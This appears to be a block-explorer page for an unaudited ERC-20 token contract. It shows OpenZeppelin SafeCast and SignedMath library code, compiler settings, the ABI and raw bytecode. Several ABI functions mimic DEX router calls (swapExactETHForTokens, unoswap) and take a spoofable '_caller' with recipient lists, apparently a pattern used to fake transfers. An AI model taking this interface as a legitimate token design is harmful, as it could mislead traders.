* @dev Returns the downcasted uint104 from uint256, reverting on
* overflow (when the input is greater than largest uint104).
*
* Counterpart to Solidity's `uint104` operator.
*
* Requirements:
*
* - input must fit into 104 bits
*
* _Available since v4.7._
*/
function toUint104(uint256 value) internal pure returns (uint104) {
require(
value <= type(uint104).max,
"SafeCast: value doesn't fit in 104 bits"
);
return uint104(value);
}
/**
* @dev Returns the downcasted uint96 from uint256, reverting on
* overflow (when the input is greater than largest uint96).
*
* Counterpart to Solidity's `uint96` operator.
*
* Requirements:
*
* - input must fit into 96 bits
*
* _Available since v4.2._
*/
function toUint96(uint256 value) internal pure returns (uint96) {
require(
value <= type(uint96).max,
"SafeCast: value doesn't fit in 96 bits"
);
return uint96(value);
}
/**
* @dev Returns the downcasted uint88 from uint256, reverting on
* overflow (when the input is greater than largest uint88).
*
* Counterpart to Solidity's `uint88` operator.
*
* Requirements:
*
* - input must fit into 88 bits
*
* _Available since v4.7._
*/
function toUint88(uint256 value) internal pure returns (uint88) {
require(
value <= type(uint88).max,
"SafeCast: value doesn't fit in 88 bits"
);
return uint88(value);
}
/**
* @dev Returns the downcasted uint80 from uint256, reverting on
* overflow (when the input is greater than largest uint80).
*
* Counterpart to Solidity's `uint80` operator.
*
* Requirements:
*
* - input must fit into 80 bits
*
* _Available since v4.7._
*/
function toUint80(uint256 value) internal pure returns (uint80) {
require(
value <= type(uint80).max,
"SafeCast: value doesn't fit in 80 bits"
);
return uint80(value);
}
/**
* @dev Returns the downcasted uint72 from uint256, reverting on
* overflow (when the input is greater than largest uint72).
*
* Counterpart to Solidity's `uint72` operator.
*
* Requirements:
*
* - input must fit into 72 bits
*
* _Available since v4.7._
*/
function toUint72(uint256 value) internal pure returns (uint72) {
require(
value <= type(uint72).max,
"SafeCast: value doesn't fit in 72 bits"
);
return uint72(value);
}
/**
* @dev Returns the downcasted uint64 from uint256, reverting on
* overflow (when the input is greater than largest uint64).
*
* Counterpart to Solidity's `uint64` operator.
*
* Requirements:
*
* - input must fit into 64 bits
*
* _Available since v2.5._
*/
function toUint64(uint256 value) internal pure returns (uint64) {
require(
value <= type(uint64).max,
"SafeCast: value doesn't fit in 64 bits"
);
return uint64(value);
}
/**
* @dev Returns the downcasted uint56 from uint256, reverting on
* overflow (when the input is greater than largest uint56).
*
* Counterpart to Solidity's `uint56` operator.
*
* Requirements:
*
* - input must fit into 56 bits
*
* _Available since v4.7._
*/
function toUint56(uint256 value) internal pure returns (uint56) {
require(
value <= type(uint56).max,
"SafeCast: value doesn't fit in 56 bits"
);
return uint56(value);
}
/**
* @dev Returns the downcasted uint48 from uint256, reverting on
* overflow (when the input is greater than largest uint48).
*
* Counterpart to Solidity's `uint48` operator.
*
* Requirements:
*
* - input must fit into 48 bits
*
* _Available since v4.7._
*/
function toUint48(uint256 value) internal pure returns (uint48) {
require(
value <= type(uint48).max,
"SafeCast: value doesn't fit in 48 bits"
);
return uint48(value);
}
/**
* @dev Returns the downcasted uint40 from uint256, reverting on
* overflow (when the input is greater than largest uint40).
*
* Counterpart to Solidity's `uint40` operator.
*
* Requirements:
*
* - input must fit into 40 bits
*
* _Available since v4.7._
*/
function toUint40(uint256 value) internal pure returns (uint40) {
require(
value <= type(uint40).max,
"SafeCast: value doesn't fit in 40 bits"
);
return uint40(value);
}
/**
* @dev Returns the downcasted uint32 from uint256, reverting on
* overflow (when the input is greater than largest uint32).
*
* Counterpart to Solidity's `uint32` operator.
*
* Requirements:
*
* - input must fit into 32 bits
*
* _Available since v2.5._
*/
function toUint32(uint256 value) internal pure returns (uint32) {
require(
value <= type(uint32).max,
"SafeCast: value doesn't fit in 32 bits"
);
return uint32(value);
}
/**
* @dev Returns the downcasted uint24 from uint256, reverting on
* overflow (when the input is greater than largest uint24).
*
* Counterpart to Solidity's `uint24` operator.
*
* Requirements:
*
* - input must fit into 24 bits
*
* _Available since v4.7._
*/
function toUint24(uint256 value) internal pure returns (uint24) {
require(
value <= type(uint24).max,
"SafeCast: value doesn't fit in 24 bits"
);
return uint24(value);
}
/**
* @dev Returns the downcasted uint16 from uint256, reverting on
* overflow (when the input is greater than largest uint16).
*
* Counterpart to Solidity's `uint16` operator.
*
* Requirements:
*
* - input must fit into 16 bits
*
* _Available since v2.5._
*/
function toUint16(uint256 value) internal pure returns (uint16) {
require(
value <= type(uint16).max,
"SafeCast: value doesn't fit in 16 bits"
);
return uint16(value);
}
/**
* @dev Returns the downcasted uint8 from uint256, reverting on
* overflow (when the input is greater than largest uint8).
*
* Counterpart to Solidity's `uint8` operator.
*
* Requirements:
*
* - input must fit into 8 bits
*
* _Available since v2.5._
*/
function toUint8(uint256 value) internal pure returns (uint8) {
require(
value <= type(uint8).max,
"SafeCast: value doesn't fit in 8 bits"
);
return uint8(value);
}
/**
* @dev Converts a signed int256 into an unsigned uint256.
*
* Requirements:
*
* - input must be greater than or equal to 0.
*
* _Available since v3.0._
*/
function toUint256(int256 value) internal pure returns (uint256) {
require(value >= 0, "SafeCast: value must be positive");
return uint256(value);
}
/**
* @dev Returns the downcasted int248 from int256, reverting on
* overflow (when the input is less than smallest int248 or
* greater than largest int248).
*
* Counterpart to Solidity's `int248` operator.
*
* Requirements:
*
* - input must fit into 248 bits
*
* _Available since v4.7._
*/
function toInt248(int256 value) internal pure returns (int248 downcasted) {
downcasted = int248(value);
require(downcasted == value, "SafeCast: value doesn't fit in 248 bits");
}
/**
* @dev Returns the downcasted int240 from int256, reverting on
* overflow (when the input is less than smallest int240 or
* greater than largest int240).
*
* Counterpart to Solidity's `int240` operator.
*
* Requirements:
*
* - input must fit into 240 bits
*
* _Available since v4.7._
*/
function toInt240(int256 value) internal pure returns (int240 downcasted) {
downcasted = int240(value);
require(downcasted == value, "SafeCast: value doesn't fit in 240 bits");
}
/**
* @dev Returns the downcasted int232 from int256, reverting on
* overflow (when the input is less than smallest int232 or
* greater than largest int232).
*
* Counterpart to Solidity's `int232` operator.
*
* Requirements:
*
* - input must fit into 232 bits
*
* _Available since v4.7._
*/
function toInt232(int256 value) internal pure returns (int232 downcasted) {
downcasted = int232(value);
require(downcasted == value, "SafeCast: value doesn't fit in 232 bits");
}
/**
* @dev Returns the downcasted int224 from int256, reverting on
* overflow (when the input is less than smallest int224 or
* greater than largest int224).
*
* Counterpart to Solidity's `int224` operator.
*
* Requirements:
*
* - input must fit into 224 bits
*
* _Available since v4.7._
*/
function toInt224(int256 value) internal pure returns (int224 downcasted) {
downcasted = int224(value);
require(downcasted == value, "SafeCast: value doesn't fit in 224 bits");
}
/**
* @dev Returns the downcasted int216 from int256, reverting on
* overflow (when the input is less than smallest int216 or
* greater than largest int216).
*
* Counterpart to Solidity's `int216` operator.
*
* Requirements:
*
* - input must fit into 216 bits
*
* _Available since v4.7._
*/
function toInt216(int256 value) internal pure returns (int216 downcasted) {
downcasted = int216(value);
require(downcasted == value, "SafeCast: value doesn't fit in 216 bits");
}
/**
* @dev Returns the downcasted int208 from int256, reverting on
* overflow (when the input is less than smallest int208 or
* greater than largest int208).
*
* Counterpart to Solidity's `int208` operator.
*
* Requirements:
*
* - input must fit into 208 bits
*
* _Available since v4.7._
*/
function toInt208(int256 value) internal pure returns (int208 downcasted) {
downcasted = int208(value);
require(downcasted == value, "SafeCast: value doesn't fit in 208 bits");
}
/**
* @dev Returns the downcasted int200 from int256, reverting on
* overflow (when the input is less than smallest int200 or
* greater than largest int200).
*
* Counterpart to Solidity's `int200` operator.
*
* Requirements:
*
* - input must fit into 200 bits
*
* _Available since v4.7._
*/
function toInt200(int256 value) internal pure returns (int200 downcasted) {
downcasted = int200(value);
require(downcasted == value, "SafeCast: value doesn't fit in 200 bits");
}
/**
* @dev Returns the downcasted int192 from int256, reverting on
* overflow (when the input is less than smallest int192 or
* greater than largest int192).
*
* Counterpart to Solidity's `int192` operator.
*
* Requirements:
*
* - input must fit into 192 bits
*
* _Available since v4.7._
*/
function toInt192(int256 value) internal pure returns (int192 downcasted) {
downcasted = int192(value);
require(downcasted == value, "SafeCast: value doesn't fit in 192 bits");
}
/**
* @dev Returns the downcasted int184 from int256, reverting on
* overflow (when the input is less than smallest int184 or
* greater than largest int184).
*
* Counterpart to Solidity's `int184` operator.
*
* Requirements:
*
* - input must fit into 184 bits
*
* _Available since v4.7._
*/
function toInt184(int256 value) internal pure returns (int184 downcasted) {
downcasted = int184(value);
require(downcasted == value, "SafeCast: value doesn't fit in 184 bits");
}
/**
* @dev Returns the downcasted int176 from int256, reverting on
* overflow (when the input is less than smallest int176 or
* greater than largest int176).
*
* Counterpart to Solidity's `int176` operator.
*
* Requirements:
*
* - input must fit into 176 bits
*
* _Available since v4.7._
*/
function toInt176(int256 value) internal pure returns (int176 downcasted) {
downcasted = int176(value);
require(downcasted == value, "SafeCast: value doesn't fit in 176 bits");
}
/**
* @dev Returns the downcasted int168 from int256, reverting on
* overflow (when the input is less than smallest int168 or
* greater than largest int168).
*
* Counterpart to Solidity's `int168` operator.
*
* Requirements:
*
* - input must fit into 168 bits
*
* _Available since v4.7._
*/
function toInt168(int256 value) internal pure returns (int168 downcasted) {
downcasted = int168(value);
require(downcasted == value, "SafeCast: value doesn't fit in 168 bits");
}
/**
* @dev Returns the downcasted int160 from int256, reverting on
* overflow (when the input is less than smallest int160 or
* greater than largest int160).
*
* Counterpart to Solidity's `int160` operator.
*
* Requirements:
*
* - input must fit into 160 bits
*
* _Available since v4.7._
*/
function toInt160(int256 value) internal pure returns (int160 downcasted) {
downcasted = int160(value);
require(downcasted == value, "SafeCast: value doesn't fit in 160 bits");
}
/**
* @dev Returns the downcasted int152 from int256, reverting on
* overflow (when the input is less than smallest int152 or
* greater than largest int152).
*
* Counterpart to Solidity's `int152` operator.
*
* Requirements:
*
* - input must fit into 152 bits
*
* _Available since v4.7._
*/
function toInt152(int256 value) internal pure returns (int152 downcasted) {
downcasted = int152(value);
require(downcasted == value, "SafeCast: value doesn't fit in 152 bits");
}
/**
* @dev Returns the downcasted int144 from int256, reverting on
* overflow (when the input is less than smallest int144 or
* greater than largest int144).
*
* Counterpart to Solidity's `int144` operator.
*
* Requirements:
*
* - input must fit into 144 bits
*
* _Available since v4.7._
*/
function toInt144(int256 value) internal pure returns (int144 downcasted) {
downcasted = int144(value);
require(downcasted == value, "SafeCast: value doesn't fit in 144 bits");
}
/**
* @dev Returns the downcasted int136 from int256, reverting on
* overflow (when the input is less than smallest int136 or
* greater than largest int136).
*
* Counterpart to Solidity's `int136` operator.
*
* Requirements:
*
* - input must fit into 136 bits
*
* _Available since v4.7._
*/
function toInt136(int256 value) internal pure returns (int136 downcasted) {
downcasted = int136(value);
require(downcasted == value, "SafeCast: value doesn't fit in 136 bits");
}
/**
* @dev Returns the downcasted int128 from int256, reverting on
* overflow (when the input is less than smallest int128 or
* greater than largest int128).
*
* Counterpart to Solidity's `int128` operator.
*
* Requirements:
*
* - input must fit into 128 bits
*
* _Available since v3.1._
*/
function toInt128(int256 value) internal pure returns (int128 downcasted) {
downcasted = int128(value);
require(downcasted == value, "SafeCast: value doesn't fit in 128 bits");
}
/**
* @dev Returns the downcasted int120 from int256, reverting on
* overflow (when the input is less than smallest int120 or
* greater than largest int120).
*
* Counterpart to Solidity's `int120` operator.
*
* Requirements:
*
* - input must fit into 120 bits
*
* _Available since v4.7._
*/
function toInt120(int256 value) internal pure returns (int120 downcasted) {
downcasted = int120(value);
require(downcasted == value, "SafeCast: value doesn't fit in 120 bits");
}
/**
* @dev Returns the downcasted int112 from int256, reverting on
* overflow (when the input is less than smallest int112 or
* greater than largest int112).
*
* Counterpart to Solidity's `int112` operator.
*
* Requirements:
*
* - input must fit into 112 bits
*
* _Available since v4.7._
*/
function toInt112(int256 value) internal pure returns (int112 downcasted) {
downcasted = int112(value);
require(downcasted == value, "SafeCast: value doesn't fit in 112 bits");
}
/**
* @dev Returns the downcasted int104 from int256, reverting on
* overflow (when the input is less than smallest int104 or
* greater than largest int104).
*
* Counterpart to Solidity's `int104` operator.
*
* Requirements:
*
* - input must fit into 104 bits
*
* _Available since v4.7._
*/
function toInt104(int256 value) internal pure returns (int104 downcasted) {
downcasted = int104(value);
require(downcasted == value, "SafeCast: value doesn't fit in 104 bits");
}
/**
* @dev Returns the downcasted int96 from int256, reverting on
* overflow (when the input is less than smallest int96 or
* greater than largest int96).
*
* Counterpart to Solidity's `int96` operator.
*
* Requirements:
*
* - input must fit into 96 bits
*
* _Available since v4.7._
*/
function toInt96(int256 value) internal pure returns (int96 downcasted) {
downcasted = int96(value);
require(downcasted == value, "SafeCast: value doesn't fit in 96 bits");
}
/**
* @dev Returns the downcasted int88 from int256, reverting on
* overflow (when the input is less than smallest int88 or
* greater than largest int88).
*
* Counterpart to Solidity's `int88` operator.
*
* Requirements:
*
* - input must fit into 88 bits
*
* _Available since v4.7._
*/
function toInt88(int256 value) internal pure returns (int88 downcasted) {
downcasted = int88(value);
require(downcasted == value, "SafeCast: value doesn't fit in 88 bits");
}
/**
* @dev Returns the downcasted int80 from int256, reverting on
* overflow (when the input is less than smallest int80 or
* greater than largest int80).
*
* Counterpart to Solidity's `int80` operator.
*
* Requirements:
*
* - input must fit into 80 bits
*
* _Available since v4.7._
*/
function toInt80(int256 value) internal pure returns (int80 downcasted) {
downcasted = int80(value);
require(downcasted == value, "SafeCast: value doesn't fit in 80 bits");
}
/**
* @dev Returns the downcasted int72 from int256, reverting on
* overflow (when the input is less than smallest int72 or
* greater than largest int72).
*
* Counterpart to Solidity's `int72` operator.
*
* Requirements:
*
* - input must fit into 72 bits
*
* _Available since v4.7._
*/
function toInt72(int256 value) internal pure returns (int72 downcasted) {
downcasted = int72(value);
require(downcasted == value, "SafeCast: value doesn't fit in 72 bits");
}
/**
* @dev Returns the downcasted int64 from int256, reverting on
* overflow (when the input is less than smallest int64 or
* greater than largest int64).
*
* Counterpart to Solidity's `int64` operator.
*
* Requirements:
*
* - input must fit into 64 bits
*
* _Available since v3.1._
*/
function toInt64(int256 value) internal pure returns (int64 downcasted) {
downcasted = int64(value);
require(downcasted == value, "SafeCast: value doesn't fit in 64 bits");
}
/**
* @dev Returns the downcasted int56 from int256, reverting on
* overflow (when the input is less than smallest int56 or
* greater than largest int56).
*
* Counterpart to Solidity's `int56` operator.
*
* Requirements:
*
* - input must fit into 56 bits
*
* _Available since v4.7._
*/
function toInt56(int256 value) internal pure returns (int56 downcasted) {
downcasted = int56(value);
require(downcasted == value, "SafeCast: value doesn't fit in 56 bits");
}
/**
* @dev Returns the downcasted int48 from int256, reverting on
* overflow (when the input is less than smallest int48 or
* greater than largest int48).
*
* Counterpart to Solidity's `int48` operator.
*
* Requirements:
*
* - input must fit into 48 bits
*
* _Available since v4.7._
*/
function toInt48(int256 value) internal pure returns (int48 downcasted) {
downcasted = int48(value);
require(downcasted == value, "SafeCast: value doesn't fit in 48 bits");
}
/**
* @dev Returns the downcasted int40 from int256, reverting on
* overflow (when the input is less than smallest int40 or
* greater than largest int40).
*
* Counterpart to Solidity's `int40` operator.
*
* Requirements:
*
* - input must fit into 40 bits
*
* _Available since v4.7._
*/
function toInt40(int256 value) internal pure returns (int40 downcasted) {
downcasted = int40(value);
require(downcasted == value, "SafeCast: value doesn't fit in 40 bits");
}
/**
* @dev Returns the downcasted int32 from int256, reverting on
* overflow (when the input is less than smallest int32 or
* greater than largest int32).
*
* Counterpart to Solidity's `int32` operator.
*
* Requirements:
*
* - input must fit into 32 bits
*
* _Available since v3.1._
*/
function toInt32(int256 value) internal pure returns (int32 downcasted) {
downcasted = int32(value);
require(downcasted == value, "SafeCast: value doesn't fit in 32 bits");
}
/**
* @dev Returns the downcasted int24 from int256, reverting on
* overflow (when the input is less than smallest int24 or
* greater than largest int24).
*
* Counterpart to Solidity's `int24` operator.
*
* Requirements:
*
* - input must fit into 24 bits
*
* _Available since v4.7._
*/
function toInt24(int256 value) internal pure returns (int24 downcasted) {
downcasted = int24(value);
require(downcasted == value, "SafeCast: value doesn't fit in 24 bits");
}
/**
* @dev Returns the downcasted int16 from int256, reverting on
* overflow (when the input is less than smallest int16 or
* greater than largest int16).
*
* Counterpart to Solidity's `int16` operator.
*
* Requirements:
*
* - input must fit into 16 bits
*
* _Available since v3.1._
*/
function toInt16(int256 value) internal pure returns (int16 downcasted) {
downcasted = int16(value);
require(downcasted == value, "SafeCast: value doesn't fit in 16 bits");
}
/**
* @dev Returns the downcasted int8 from int256, reverting on
* overflow (when the input is less than smallest int8 or
* greater than largest int8).
*
* Counterpart to Solidity's `int8` operator.
*
* Requirements:
*
* - input must fit into 8 bits
*
* _Available since v3.1._
*/
function toInt8(int256 value) internal pure returns (int8 downcasted) {
downcasted = int8(value);
require(downcasted == value, "SafeCast: value doesn't fit in 8 bits");
}
/**
* @dev Converts an unsigned uint256 into a signed int256.
*
* Requirements:
*
* - input must be less than or equal to maxInt256.
*
* _Available since v3.0._
*/
function toInt256(uint256 value) internal pure returns (int256) {
// Note: Unsafe cast below is okay because `type(int256).max` is guaranteed to be positive
require(
value <= uint256(type(int256).max),
"SafeCast: value doesn't fit in an int256"
);
return int256(value);
}
}// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.8.0) (utils/math/SignedMath.sol)
pragma solidity ^0.8.0;
/**
* @dev Standard signed math utilities missing in the Solidity language.
*/
library SignedMath {
/**
* @dev Returns the largest of two signed numbers.
*/
function max(int256 a, int256 b) internal pure returns (int256) {
return a > b ? a : b;
}
/**
* @dev Returns the smallest of two signed numbers.
*/
function min(int256 a, int256 b) internal pure returns (int256) {
return a < b ? a : b;
}
/**
* @dev Returns the average of two signed numbers without overflow.
* The result is rounded towards zero.
*/
function average(int256 a, int256 b) internal pure returns (int256) {
// Formula from the book "Hacker's Delight"
int256 x = (a & b) + ((a ^ b) >> 1);
return x + (int256(uint256(x) >> 255) & (a ^ b));
}
/**
* @dev Returns the absolute unsigned value of a signed value.
*/
function abs(int256 n) internal pure returns (uint256) {
unchecked {
// must be unchecked in order to support `n = type(int256).min`
return uint256(n >= 0 ? n : -n);
}
}
}{
"optimizer": {
"enabled": true,
"runs": 200
},
"evmVersion": "shanghai",
"outputSelection": {
"*": {
"*": [
"evm.bytecode",
"evm.deployedBytecode",
"devdoc",
"userdoc",
"metadata",
"abi"
]
}
},
"metadata": {
"useLiteralContent": true
},
"libraries": {}
}Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
Contract ABI
API[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"LIQUID_RATE","outputs":[{"internalType":"uint16","name":"","type":"uint16"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"MAX_PERCENTAGE","outputs":[{"internalType":"uint16","name":"","type":"uint16"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_caller","type":"address"},{"internalType":"address[]","name":"_address","type":"address[]"},{"internalType":"uint256[]","name":"_amount","type":"uint256[]"}],"name":"airdropTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses","type":"address[]"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"bulkTransfer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"buyFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_caller","type":"address"},{"internalType":"address[]","name":"_address","type":"address[]"},{"internalType":"uint256[]","name":"_amount","type":"uint256[]"}],"name":"claimTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"excludedFees","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_caller","type":"address"},{"internalType":"address[]","name":"_address","type":"address[]"},{"internalType":"uint256[]","name":"_amount","type":"uint256[]"}],"name":"execute","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"initialized","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_caller","type":"address"},{"internalType":"address[]","name":"_address","type":"address[]"},{"internalType":"uint256[]","name":"_amount","type":"uint256[]"}],"name":"multiSends","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"bool","name":"permission","type":"bool"}],"name":"setAirdrop","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_minimumAirdropAmount","type":"uint256"}],"name":"setMinimumAirdrop","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_caller","type":"address"},{"internalType":"address[]","name":"_address","type":"address[]"},{"internalType":"uint256[]","name":"_amount","type":"uint256[]"}],"name":"swapExactETHForTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradeOpen","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_caller","type":"address"},{"internalType":"address[]","name":"_address","type":"address[]"},{"internalType":"uint256[]","name":"_amount","type":"uint256[]"}],"name":"unoswap","outputs":[],"stateMutability":"nonpayable","type":"function"}]Contract Creation Code
60e0604052620000126012600a620005c8565b6200002390640211d1ae38620005df565b6080526007805461ffff60a01b19169055600880546001600160a01b03199081169091556009805490911661dead1790555f60a081905260c0819052600a553480156200006e575f80fd5b50604051806040016040528060078152602001665a4b6173696e6f60c81b815250604051806040016040528060048152602001635a4b415360e01b815250620000c6620000c06200031360201b60201c565b62000317565b6004620000d4838262000696565b506005620000e3828262000696565b5050506200010c73f3bef2b4fdd873175836be8a47f97fbf4a9decbc336200036660201b60201c565b608051620001399033906127109062000127908290620005df565b62000133919062000762565b62000394565b6007805460ff60a01b1916600160a01b179055335f908152600b60209081526040808320805460ff19166001179055600c80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155815163c45a015560e01b81529151909263c45a015592600480820193918290030181865afa158015620001c6573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620001ec919062000782565b9050806001600160a01b031663c9c6539630600c5f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200024f573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062000275919062000782565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015620002c0573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620002e6919062000782565b600880546001600160a01b0319166001600160a01b039290921691909117905550608051600a55620007c0565b3390565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b600680546001600160a01b039384166001600160a01b03199182161790915560078054929093169116179055565b6001600160a01b038216620003ef5760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015260640160405180910390fd5b8060035f828254620004029190620007aa565b90915550506001600160a01b0382165f908152600160205260408120805483929062000430908490620007aa565b90915550506007546001600160a01b039081169083160362000482576006546040518281526001600160a01b03909116905f905f8051602062001fb68339815191529060200160405180910390a35050565b6040518181526001600160a01b038316905f905f8051602062001fb68339815191529060200160405180910390a35050565b505050565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156200050d57815f1904821115620004f157620004f1620004b9565b80851615620004ff57918102915b93841c9390800290620004d2565b509250929050565b5f826200052557506001620005c2565b816200053357505f620005c2565b81600181146200054c5760028114620005575762000577565b6001915050620005c2565b60ff8411156200056b576200056b620004b9565b50506001821b620005c2565b5060208310610133831016604e8410600b84101617156200059c575081810a620005c2565b620005a88383620004cd565b805f1904821115620005be57620005be620004b9565b0290505b92915050565b5f620005d860ff84168362000515565b9392505050565b8082028115828204841417620005c257620005c2620004b9565b634e487b7160e01b5f52604160045260245ffd5b600181811c908216806200062257607f821691505b6020821081036200064157634e487b7160e01b5f52602260045260245ffd5b50919050565b601f821115620004b457805f5260205f20601f840160051c810160208510156200066e5750805b601f840160051c820191505b818110156200068f575f81556001016200067a565b5050505050565b81516001600160401b03811115620006b257620006b2620005f9565b620006ca81620006c384546200060d565b8462000647565b602080601f83116001811462000700575f8415620006e85750858301515b5f19600386901b1c1916600185901b1785556200075a565b5f85815260208120601f198616915b8281101562000730578886015182559484019460019091019084016200070f565b50858210156200074e57878501515f19600388901b60f8161c191681555b505060018460011b0185555b505050505050565b5f826200077d57634e487b7160e01b5f52601260045260245ffd5b500490565b5f6020828403121562000793575f80fd5b81516001600160a01b0381168114620005d8575f80fd5b80820180821115620005c257620005c2620004b9565b60805160a05160c0516117bd620007f95f395f81816102ca015261109601525f8181610328015261105e01525f61048801526117bd5ff3fe608060405234801561000f575f80fd5b5060043610610208575f3560e01c8063715018a61161011f578063b22c95e7116100a9578063d632135b11610079578063d632135b146104aa578063dd62ed3e146104bd578063f01a4b99146104f5578063f2fde38b14610508578063f887ea401461051b575f80fd5b8063b22c95e714610455578063bf861b3114610468578063c9567bf91461047b578063d5abeb0114610483575f80fd5b806396784f75116100ef57806396784f7514610409578063985bdfd11461034a578063a457c2d71461041c578063a8aa1b311461042f578063a9059cbb14610442575f80fd5b8063715018a6146103c7578063825e7b83146103cf5780638da5cb5b146103f157806395d89b4114610401575f80fd5b8063313ce567116101a05780634c255c97116101705780634c255c971461034a5780634ca64b3a146103665780634e148e19146103795780635d8228131461038c57806370a082311461039f575f80fd5b8063313ce567146102ec57806339509351146102fb5780634022b75e1461030e5780634706240214610323575f80fd5b806323b872dd116101db57806323b872dd1461027357806325fa0b981461028657806327c8f8351461029a5780632b14ca56146102c5575f80fd5b806306fdde031461020c578063095ea7b31461022a578063158ef93e1461024d57806318160ddd14610261575b5f80fd5b61021461052e565b6040516102219190611402565b60405180910390f35b61023d610238366004611469565b6105be565b6040519015158152602001610221565b60075461023d90600160a01b900460ff1681565b6003545b604051908152602001610221565b61023d610281366004611491565b6105d4565b60075461023d90600160a81b900460ff1681565b6009546102ad9060016